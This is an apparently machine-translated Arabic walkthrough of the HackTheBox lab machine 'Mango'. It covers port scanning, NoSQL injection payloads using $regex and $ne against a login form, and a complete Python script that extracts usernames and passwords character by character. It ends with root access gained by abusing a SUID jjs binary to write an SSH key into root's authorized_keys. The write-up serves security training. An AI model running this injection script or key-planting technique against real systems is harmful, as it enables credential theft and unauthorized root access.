أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .في هذه المقالة ، نستغل حقن NoSQL في شكل تفويض ، ونزيد أيضًا الامتيازات من خلال JJS.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.162 ، والذي أضيفه إلى / etc / hosts.10.10.10.162 mango.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A mango.htb -p22,80,443
بادئ ذي بدء ، دعنا نذهب لمشاهدة الموقع. عند الوصول إلى mango.htb ، يرموننا من http إلى https ويتحدثون عن مشكلة في الشهادة. إذا وافقت على المخاطر ، يمكنك مشاهدة هذه الصفحة.
ولكن لا شيء أكثر إثارة للاهتمام. يعرض فحص nmap معلومات شهادة ssl حيث يتم تحديد المجال. أضفه إلى / etc / hosts.10.10.10.162 staging-order.mango.htb
ودعنا نذهب لنرى ما هو موجود.
هناك استمارة تفويض - نقطة دخول محتملة.نقطة الدخول
نحاول العديد من تقنيات الحقن لتجاوز التفويض. ونجد حقن NoSql القياسي بمقارنة رد الفعل لشرطين: تسجيل الدخول هو 123 ، كلمة المرور 123 و تسجيل الدخول ليس 123 ، كلمة المرور ليست 123.
وبعد النتيجة الحقيقية الناجحة للشرط الثاني ، نحصل على إعادة توجيه إلى home.php. وبالتالي ، يمكن حقن NoSql.
نظرًا لعدم وجود أي شيء مثير للاهتمام على الصفحة ، فإن الشيء الوحيد الذي يمكننا أخذه من هذه الثغرة الأمنية هو تسجيلات الدخول وكلمات المرور.المستعمل
دعونا نرى أطوال الحد الأقصى لأسماء المستخدمين وكلمات المرور. للقيام بذلك ، يمكنك استخدام البنيات التالية:تسجيل الدخول [$ regex] =. {Length} & password [$ ne] = 123 - لتسجيل الدخول (تتم مقارنة التعبير العادي لتسجيل الدخول وكلمة المرور غير صالحة) ؛تسجيل الدخول [$ ne] = 123 ؛ كلمة المرور [$ regex] =. {length} لكلمة المرور.دعنا نفعل ذلك مع الدخيل التجشؤ.

وبالتالي ، يبلغ طول أطول تسجيل دخول 5 أحرف. بعد القيام بنفس العمليات لكلمة المرور ، اكتشفنا أن طول الأطول هو 16 حرفًا.
نظرًا لأنه طويل جدًا بحيث لا يمكن ترتيبه بيديك ، سنكتب نصًا ثعبانيًا. أولا ، سنعقد جلسة للعمل.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
بعد ذلك ، ننفذ وظيفة لتعداد عمليات تسجيل الدخول. سيتم إجراء التكرار باستخدام التعبير العادي التالي ^ name. * - بهذه الطريقة سوف نقوم بتمديد حرف واحد في كل مرة.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
ووظيفة مماثلة ، فقط باستخدام تسجيل الدخول الموجود.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
الكود الكامل:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
ونتيجة لذلك ، نجد أوراق اعتماد اثنين من المستخدمين.
تم توصيل بيانات الاعتماد بنجاح عبر SSH.
لدينا كلمة مرور من المستخدم الثاني ، لكنها لا تسمح بتسجيل الدخول عبر SSH. نحن نحاول تغيير المستخدم محليًا عن طريق إدخال كلمة المرور التي نعرفها.
جذر
دعونا ننفذ التعداد الأساسي باستخدام البرنامج النصي LinEnum .
ونجد البرنامج مع مجموعة S-bit.
التحقق من JJS على سبيل المثال GTFOBins .
هناك أيضا أمثلة على العملية. استدعاء شل المحلي لا يعمل. ولكن يمكنك إنشاء مفاتيح ssh ، والكتابة العامة في /root/.ssh/authorized_keys والاتصال باستخدام خاص.
دعونا نحسب المفتاح العام.
والآن اكتبها.
وربط الآن كجذر.
يمكنك الانضمام إلينا على Telegram. هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.